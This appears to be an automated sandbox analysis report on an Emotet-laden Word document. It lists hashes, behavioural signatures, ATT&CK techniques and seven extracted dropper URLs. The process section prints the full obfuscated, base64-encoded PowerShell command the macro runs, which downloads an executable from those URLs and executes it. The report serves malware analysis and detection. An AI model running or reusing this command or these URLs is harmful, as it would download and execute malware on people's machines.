2efc5b4bae391cc5eefd5b06ac3b3e4e4a321d8350ccd641403be754f64f019e

General

Target
emotet_e1_2efc5b4bae391cc5eefd5b06ac3b3e4e4a321d8350ccd641403be754f64f019e_2020-10-28__092348931944._fpx.doc
Size 220KB
Sample201028-wty56ws12x
SHA256 2efc5b4bae391cc5eefd5b06ac3b3e4e4a321d8350ccd641403be754f64f019e
MD5 9f8bd97b64ee1df881e4994284e255f0
SHA1 4f6698b550723ec14af3102d42627672542b9896
SHA512 1503e6f5b1e4b8dfdd46a2754c2c17fef49b6e4f8335bac2821035bb845b8dc00e9380bd702595843fe312b8025d09a02f873229b39404d4bb40ef49b23a5c42
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://servitekifix.com/wp-admin/C/
exe.dropper
http://www.pacificfe.com/shadow-health/nQ/
exe.dropper
http://bridgestoworkapp.com/wp-content/c1/
exe.dropper
http://www.ruiermi.com/wp-admin/jmb/
exe.dropper
http://edirnereklamajansi.com/wp-includes/dN/
exe.dropper
https://dartzeel.com/wp-content/yf/
exe.dropper
https://datablockssolutions.com/rgit/kd6/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1648	3548	POwersheLL.exe	65

Blacklisted process makes network request 1 IoCs

flow	pid	Process
16	1648	POwersheLL.exe

Executes dropped EXE 1 IoCs

pid	Process
1212	X1tr5p.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4032	WINWORD.EXE
4032	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1648	POwersheLL.exe
1648	POwersheLL.exe
1648	POwersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1648	POwersheLL.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
4032	WINWORD.EXE
4032	WINWORD.EXE
4032	WINWORD.EXE
4032	WINWORD.EXE
4032	WINWORD.EXE
4032	WINWORD.EXE
4032	WINWORD.EXE
1212	X1tr5p.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_2efc5b4bae391cc5eefd5b06ac3b3e4e4a321d8350ccd641403be754f64f019e_2020-10-28__092348931944._fpx.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4032

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD IAAgACQASwBkAHoAaABBAD0AWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMQB9AHsAMgB9AHsAMAB9ACIAIAAtAGYAIAAnAC4AZABpAFIAZQBDAFQATwByAFkAJwAsACcAbQAnACwAJwAuAGkATwAnACwAJwBzAHkAUwBUAEUAJwApACAAIAA7AFMARQBUAC0ASQB0AGUAbQAgACAAVgBhAFIAaQBBAGIAbABFADoAeQBtADUAZwByACAAKAAgACAAWwB0AFkAcABFAF0AKAAiAHsAMAB9AHsANgB9AHsAOAB9AHsANAB9AHsANwB9AHsAMgB9AHsAMQB9AHsANQB9AHsAMwB9ACIAIAAtAEYAJwBTAHkAcwB0AEUAbQAuAE4ARQBUAC4AcwBlAHIAJwAsACcAbQAnACwAJwB0ACcALAAnAGcARQByACcALAAnAE8AJwAsACcAYQBOAEEAJwAsACcAVgBJACcALAAnAGkATgAnACwAJwBjAGUAcAAnACkAKQA7ACQAVABwAHoAbABuADMAdgA9ACgAKAAnAEQAZAAnACsAJwBqAGUAagAnACkAKwAnAGkAJwArACcAXwAnACkAOwAkAEoAbAAzAHkANgBkAGcAPQAkAEIAMQAzAGgAcQA5AF8AIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEUAOQBnAHgANABqAGgAOwAkAEgAbwA4AHEAbwA2AGIAPQAoACgAJwBZACcAKwAnAGQAOAAnACkAKwAoACcAZQAzACcAKwAnADkAYQAnACkAKQA7ACAAIAAoACAAIABnAGUAVAAtAFYAYQByAGkAYQBiAEwARQAgACAASwBkAHoAaABBACAAIAApAC4AdgBBAGwAVQBlADoAOgAiAEMAUgBFAGEAVABgAEUAZABgAGkAcgBlAGMAVABgAG8AcgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAUQA5ACcAKwAoACcATABYACcAKwAnAHMANgBiAGgAJwArACcAYQAnACkAKwAnAGMAUQAnACsAJwA5AEwAJwArACgAJwBSACcAKwAnAGQAMgAnACkAKwAoACcAcgAnACsAJwBzADUAYgAnACsAJwBRADkAJwApACsAJwBMACcAKQAuACIAUgBFAFAATABgAEEAYwBlACIAKAAoACcAUQAnACsAJwA5AEwAJwApACwAJwBcACcAKQApACkAOwAkAEMAbQBwADMAYwA1ADkAPQAoACcATABwACcAKwAnAGYAJwArACgAJwBwAHYAMAAnACsAJwA5ACcAKQApADsAIAAgACgAVgBBAFIASQBhAEIAbABlACAAIAB5AG0ANQBHAFIAIAAgAC0AdgBBAEwAdQBFAG8AbgAgACkAOgA6ACIAcwBgAEUAQwBVAFIASQB0AHkAYABQAFIAbwBUAGAATwBjAGAAbwBMACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAJwApACsAJwAxADIAJwApADsAJABYADEANgA2AGwAdQBhAD0AKAAnAFIAJwArACgAJwB3AGoAbgAnACsAJwBiADYAdAAnACkAKQA7ACQATQBpAGQAegAxAGwAXwAgAD0AIAAoACgAJwBYADEAJwArACcAdAAnACkAKwAoACcAcgAnACsAJwA1AHAAJwApACkAOwAkAEwAcgBjAGEAMAAxAHcAPQAoACcAWgBmACcAKwAnAF8AaQAnACsAKAAnAGIAYwAnACsAJwBmACcAKQApADsAJABPAGwAaQBkAHIAdQB1AD0AKAAoACcAUAAnACsAJwA4ADgAcwA3AHEAJwApACsAJwByACcAKQA7ACQASAA3ADMAeABxAGEANwA9ACQASABPAE0ARQArACgAKAAoACcAZABvAHUAWAAnACsAJwBzADYAYgBoAGEAJwArACcAYwAnACkAKwAoACcAZABvAHUAUgBkACcAKwAnADIAJwApACsAJwByAHMAJwArACgAJwA1ACcAKwAnAGIAZABvAHUAJwApACkALQBSAGUAcABsAGEAQwBFACAAKAAnAGQAbwAnACsAJwB1ACcAKQAsAFsAYwBIAEEAUgBdADkAMgApACsAJABNAGkAZAB6ADEAbABfACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQATQBrAHAAbwBqAHQAYgA9ACgAKAAnAEIAYgBrAGkAJwArACcAYgAnACkAKwAnAHgAcgAnACkAOwAkAFkAdAA0AGYAOQBfAHkAPQAuACgAJwBuAGUAdwAtAG8AYgAnACsAJwBqAGUAJwArACcAYwB0ACcAKQAgAG4AZQB0AC4AdwBlAGIAQwBMAEkARQBuAFQAOwAkAEgAdQA5AGkAMQB2AHQAPQAoACgAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAKAAnADoAXQBbACcAKwAnACAAJwApACsAJwAoACcAKwAoACcAMAAgAGgAdQBCACcAKwAnAEoAJwApACsAKAAnACAAJwArACcAWwBdACcAKQArACgAKAAnACAAWwBdACcAKwAnAHcAXQBbACAAKAAwACcAKwAnACAAJwArACcAaAAnACkAKQArACgAJwB1ACcAKwAnAEIASgAnACkAKwAoACcAIABbAF0AIAAnACsAJwBbAF0AdwBzAGUAJwArACcAcgAnACsAJwB2ACcAKQArACcAaQAnACsAKAAnAHQAZQBrAGkAZgAnACsAJwBpACcAKQArACcAeAAnACsAJwAuAGMAJwArACcAbwAnACsAKAAnAG0AXQBbACcAKwAnACAAJwApACsAKAAoACcAKAAwACAAJwArACcAaAB1ACcAKQApACsAKAAnAEIASgAnACsAJwAgAFsAJwArACcAXQAgAFsAXQB3AHcAcAAtAGEAZAAnACkAKwAnAG0AaQAnACsAKAAnAG4AJwArACcAXQBbACAAJwApACsAKAAoACcAKAAwACcAKQApACsAJwAgACcAKwAnAGgAJwArACgAJwB1ACcAKwAnAEIASgAnACkAKwAnACAAWwAnACsAKAAnAF0AIABbACcAKwAnAF0AJwApACsAKAAnAHcAJwArACcAQwBdAFsAJwApACsAKAAoACcAIAAoADAAJwArACcAIABoACcAKQApACsAJwB1ACcAKwAoACcAQgBKACcAKwAnACAAJwApACsAJwBbACcAKwAnAF0AJwArACgAJwAgAFsAXQB3AEAAaAB0ACcAKwAnAHQAJwArACcAcAAnACkAKwAoACcAOgBdACcAKwAnAFsAJwApACsAJwAgACcAKwAnACgAJwArACgAJwAwACAAaAB1ACcAKwAnAEIASgAgACcAKwAnAFsAJwApACsAJwBdACAAJwArACcAWwAnACsAKAAoACcAXQB3AF0AJwArACcAWwAnACsAJwAgACcAKwAnACgAMAAgAGgAJwApACkAKwAoACcAdQBCACcAKwAnAEoAIABbACcAKQArACgAJwBdACcAKwAnACAAWwAnACkAKwAoACcAXQB3AHcAdwB3AC4AcABhACcAKwAnAGMAJwArACcAaQAnACsAJwBmAGkAYwAnACkAKwAoACcAZgBlAC4AYwAnACsAJwBvAG0AJwApACsAKAAoACcAXQBbACAAKAAnACsAJwAwACcAKwAnACAAJwArACcAaAB1AEIASgAnACkAKQArACcAIABbACcAKwAoACcAXQAnACsAJwAgAFsAXQB3ACcAKQArACgAJwBzAGgAYQAnACsAJwBkACcAKQArACgAJwBvAHcAJwArACcALQAnACkAKwAnAGgAJwArACgAJwBlACcAKwAnAGEAbAB0AGgAJwApACsAJwBdAFsAJwArACgAKAAnACAAKAAnACkAKQArACcAMAAgACcAKwAnAGgAJwArACcAdQAnACsAJwBCACcAKwAnAEoAJwArACcAIAAnACsAKAAnAFsAXQAgAFsAXQAnACsAJwB3AG4AJwArACcAUQAnACsAJwBdAFsAIAAnACkAKwAoACgAJwAoACcAKwAnADAAIABoAHUAJwApACkAKwAoACcAQgAnACsAJwBKACAAWwBdACcAKQArACcAIABbACcAKwAoACcAXQB3AEAAJwArACcAaAAnACkAKwAoACgAJwB0AHQAJwArACcAcAA6ACcAKwAnAF0AWwAgACgAJwArACcAMAAgAGgAdQBCACcAKQApACsAJwBKACcAKwAnACAAJwArACgAJwBbAF0AJwArACcAIABbACcAKQArACgAJwBdAHcAJwArACcAXQBbACcAKQArACgAKAAnACAAKAAnACkAKQArACgAJwAwACAAJwArACcAaAB1AEIASgAgAFsAJwApACsAKAAnAF0AIABbACcAKwAnAF0AdwBiACcAKQArACcAcgAnACsAJwBpAGQAJwArACgAJwBnAGUAJwArACcAcwB0AG8AJwArACcAdwAnACsAJwBvAHIAawBhAHAAcAAuACcAKQArACgAKAAnAGMAbwBtACcAKwAnAF0AWwAgACgAJwApACkAKwAnADAAIAAnACsAJwBoAHUAJwArACcAQgBKACcAKwAoACcAIABbACcAKwAnAF0AIABbACcAKwAnAF0AdwB3AHAALQBjAG8AbgAnACkAKwAnAHQAJwArACgAKAAnAGUAJwArACcAbgB0AF0AWwAgACgAJwApACkAKwAoACcAMAAnACsAJwAgACcAKwAnAGgAJwArACcAdQBCAEoAIABbAF0AJwApACsAJwAgACcAKwAoACcAWwAnACsAJwBdAHcAYwAxAF0AJwApACsAJwBbACAAJwArACcAKAAnACsAJwAwACcAKwAoACcAIABoAHUAJwArACcAQgAnACkAKwAoACcASgAgAFsAJwArACcAXQAnACkAKwAoACcAIABbAF0AdwAnACsAJwBAACcAKQArACcAaAB0ACcAKwAnAHQAcAAnACsAKAAoACcAOgBdAFsAIAAoADAAJwArACcAIAAnACkAKQArACcAaAB1ACcAKwAnAEIASgAnACsAJwAgAFsAJwArACcAXQAgACcAKwAoACgAJwBbAF0AJwArACcAdwBdAFsAIAAoACcAKwAnADAAIAAnACkAKQArACgAJwBoACcAKwAnAHUAQgAnACkAKwAnAEoAIAAnACsAJwBbAF0AJwArACcAIABbACcAKwAoACcAXQB3AHcAJwArACcAdwAnACkAKwAoACcAdwAuAHIAJwArACcAdQAnACsAJwBpAGUAJwApACsAKAAnAHIAbQAnACsAJwBpAC4AYwBvAG0AJwApACsAKAAoACcAXQBbACAAKAAwACcAKwAnACAAJwArACcAaAB1ACcAKQApACsAKAAnAEIASgAgACcAKwAnAFsAXQAgAFsAJwApACsAKAAnAF0AdwAnACsAJwB3ACcAKQArACcAcAAnACsAKAAnAC0AJwArACcAYQBkAG0AJwApACsAKAAoACcAaQBuACcAKwAnAF0AJwArACcAWwAgACgAJwApACkAKwAnADAAJwArACgAJwAgAGgAJwArACcAdQAnACkAKwAoACcAQgBKACcAKwAnACAAJwApACsAKAAnAFsAJwArACcAXQAgAFsAXQAnACsAJwB3ACcAKQArACcAagBtACcAKwAoACcAYgAnACsAJwBdAFsAIAAnACkAKwAoACgAJwAoADAAJwArACcAIABoAHUAQgAnACkAKQArACcASgAnACsAJwAgACcAKwAnAFsAXQAnACsAJwAgAFsAJwArACcAXQAnACsAKAAnAHcAJwArACcAQABoAHQAdABwACcAKQArACgAJwA6ACcAKwAnAF0AWwAnACkAKwAoACgAJwAgACgAMAAnACsAJwAgAGgAdQAnACsAJwBCAEoAJwArACcAIAAnACkAKQArACgAKAAnAFsAXQAgAFsAXQAnACsAJwB3AF0AJwArACcAWwAgACgAMAAgAGgAJwArACcAdQBCACcAKQApACsAJwBKACcAKwAnACAAJwArACgAJwBbAF0AIAAnACsAJwBbAF0AJwArACcAdwBlACcAKQArACgAJwBkACcAKwAnAGkAcgBuACcAKQArACcAZQByACcAKwAoACcAZQAnACsAJwBrAGwAYQBtAGEAJwArACcAagBhAG4AcwBpAC4AYwBvAG0AJwApACsAKAAoACcAXQBbACAAKAAnACsAJwAwACcAKQApACsAJwAgACcAKwAnAGgAJwArACgAJwB1ACcAKwAnAEIASgAnACkAKwAoACcAIABbAF0AIABbACcAKwAnAF0AdwB3ACcAKwAnAHAALQBpAG4AJwArACcAYwBsAHUAJwApACsAJwBkAGUAJwArACgAKAAnAHMAJwArACcAXQBbACAAJwArACcAKAAwACcAKwAnACAAaAB1AEIASgAnACkAKQArACgAJwAgAFsAJwArACcAXQAnACkAKwAnACAAJwArACcAWwBdACcAKwAoACcAdwAnACsAJwBkAE4AXQAnACkAKwAnAFsAJwArACgAKAAnACAAJwArACcAKAAwACAAaAAnACkAKQArACcAdQAnACsAKAAnAEIASgAgAFsAJwArACcAXQAgACcAKQArACgAJwBbAF0AdwBAACcAKwAnAGgAdAB0ACcAKQArACcAcABzACcAKwAoACgAJwA6AF0AWwAgACgAMAAnACsAJwAgACcAKQApACsAKAAnAGgAdQBCACcAKwAnAEoAJwApACsAKAAnACAAWwBdACcAKwAnACAAJwApACsAKAAnAFsAXQAnACsAJwB3AF0AWwAnACkAKwAnACAAJwArACgAKAAnACgAMAAgACcAKwAnAGgAJwApACkAKwAoACcAdQBCACcAKwAnAEoAJwApACsAJwAgAFsAJwArACgAJwBdACAAWwBdAHcAJwArACcAZAAnACsAJwBhAHIAdAAnACkAKwAnAHoAJwArACgAJwBlAGUAbAAuAGMAJwArACcAbwBtAF0AJwArACcAWwAgACcAKQArACgAKAAnACgAJwArACcAMAAgACcAKQApACsAJwBoAHUAJwArACcAQgAnACsAKAAnAEoAIAAnACsAJwBbACcAKQArACgAJwBdACcAKwAnACAAWwBdAHcAJwApACsAJwB3AHAAJwArACcALQAnACsAJwBjACcAKwAnAG8AJwArACgAKAAnAG4AJwArACcAdABlAG4AdAAnACsAJwBdAFsAJwArACcAIAAoADAAIABoAHUAQgAnACkAKQArACgAJwBKACcAKwAnACAAWwBdACcAKQArACgAKAAnACAAWwBdACcAKwAnAHcAeQBmAF0AWwAgACgAJwArACcAMAAgAGgAdQBCAEoAIABbAF0AJwArACcAIAAnACsAJwBbAF0AJwArACcAdwBAAGgAdAB0AHAAcwA6ACcAKQApACsAJwBdACcAKwAoACgAJwBbACAAKAAwACcAKwAnACAAaAAnACkAKQArACcAdQBCACcAKwAoACcASgAnACsAJwAgAFsAJwArACcAXQAgAFsAXQAnACsAJwB3AF0AWwAgACcAKQArACgAKAAnACgAMAAgAGgAdQBCACcAKwAnAEoAIAAnACkAKQArACcAWwAnACsAKAAnAF0AJwArACcAIABbAF0AdwAnACsAJwBkAGEAdABhAGIAbAAnACsAJwBvAGMAJwApACsAJwBrAHMAJwArACgAJwBzAG8AbAB1ACcAKwAnAHQAJwApACsAJwBpACcAKwAoACcAbwBuACcAKwAnAHMAJwApACsAKAAnAC4AJwArACcAYwBvACcAKQArACgAKAAnAG0AXQBbACcAKwAnACAAJwArACcAKAAwACAAJwApACkAKwAnAGgAdQAnACsAJwBCACcAKwAnAEoAJwArACcAIAAnACsAKAAnAFsAXQAgACcAKwAnAFsAJwApACsAKAAnAF0AJwArACcAdwByACcAKQArACgAJwBnAGkAJwArACcAdAAnACkAKwAnAF0AWwAnACsAJwAgACcAKwAoACgAJwAoACcAKwAnADAAIABoACcAKwAnAHUAQgBKACAAJwApACkAKwAnAFsAXQAnACsAJwAgACcAKwAoACcAWwBdAHcAJwArACcAawBkADYAJwArACcAXQBbACcAKQArACgAKAAnACAAKAAnACkAKQArACgAJwAwACcAKwAnACAAaAAnACkAKwAoACcAdQBCACcAKwAnAEoAIAAnACkAKwAoACcAWwBdACAAWwAnACsAJwBdAHcAJwApACkAKQAuACIAUgBFAGAAUABgAEwAYQBDAEUAIgAoACgAKAAoACcAXQAnACsAJwBbACAAJwApACsAJwAoACcAKwAoACcAMAAgACcAKwAnAGgAdQBCAEoAIAAnACsAJwBbACcAKQArACgAJwBdACAAWwAnACsAJwBdAHcAJwApACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAeAB3ACcAKwAnAGUAJwApACkAWwAwAF0AKQAuACIAUwBQAGAATABpAHQAIgAoACQAVAB1ADAAZwB2AGwAXwAgACsAIAAkAEoAbAAzAHkANgBkAGcAIAArACAAJABYAGsAcABjADUAZQB6ACkAOwAkAFIAOAAyADMAeQAzADgAPQAoACcASAAyACcAKwAoACcAYgAnACsAJwBwAGsAbQAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABSADIAdwBhAHUAdQB3ACAAaQBuACAAJABIAHUAOQBpADEAdgB0ACkAewB0AHIAeQB7ACQAWQB0ADQAZgA5AF8AeQAuACIARABgAG8AVwBOAEwAYABvAEEAZABgAEYASQBsAEUAIgAoACQAUgAyAHcAYQB1AHUAdwAsACAAJABIADcAMwB4AHEAYQA3ACkAOwAkAEsAMgAyAGwAcgBsAHMAPQAoACgAJwBIAHQAJwArACcAcwAnACkAKwAnAF8AJwArACgAJwBlACcAKwAnADAAeQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABIADcAMwB4AHEAYQA3ACkALgAiAGwAZQBgAE4ARwBUAEgAIgAgAC0AZwBlACAANAA4ADYANAA1ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACgAJwB3ACcAKwAnAGkAbgAnACkAKwAnADMAMgAnACsAJwBfAFAAJwArACgAJwByAG8AJwArACcAYwAnACsAJwBlAHMAcwAnACkAKQApAC4AIgBDAGAAUgBFAGAAQQBUAEUAIgAoACQASAA3ADMAeABxAGEANwApADsAJABTAHUAZgA3ADEAcwBhAD0AKAAnAFgAJwArACcANwA2ACcAKwAoACcAagB1AHcAJwArACcAdgAnACkAKQA7AGIAcgBlAGEAawA7ACQATAB5AGMAbwBuAGMAbgA9ACgAKAAnAFAAcgBmACcAKwAnAGoAJwApACsAJwA5ACcAKwAnADgAbAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEQAYwB1ADMAdwBkAHoAPQAoACcAVAAnACsAKAAnAHkAJwArACcAdQBwAHkAOAAnACkAKwAnADIAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1648

C:\Users\Admin\Xs6bhac\Rd2rs5b\X1tr5p.exe
C:\Users\Admin\Xs6bhac\Rd2rs5b\X1tr5p.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1212

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1648-8-0x00007FF8D44E0000-0x00007FF8D4ECC000-memory.dmp

Download

memory/1648-10-0x0000022DF7100000-0x0000022DF7101000-memory.dmp

Download

memory/1648-9-0x0000022DDEAE0000-0x0000022DDEAE1000-memory.dmp

Download

memory/4032-3-0x000002C0B4560000-0x000002C0B4565000-memory.dmp

Download

memory/4032-6-0x000002C0B4733000-0x000002C0B473C000-memory.dmp

Download

memory/4032-7-0x000002C0B4733000-0x000002C0B473C000-memory.dmp

Download

memory/4032-5-0x000002C0B1EC3000-0x000002C0B1ECA000-memory.dmp

Download

memory/4032-4-0x000002C0B4565000-0x000002C0B456A000-memory.dmp

Download

memory/4032-0-0x00007FF8DBB00000-0x00007FF8DC137000-memory.dmp

Download

memory/4032-2-0x000002C0B4560000-0x000002C0B4565000-memory.dmp

Download

memory/4032-1-0x000002C0B4560000-0x000002C0B4565000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads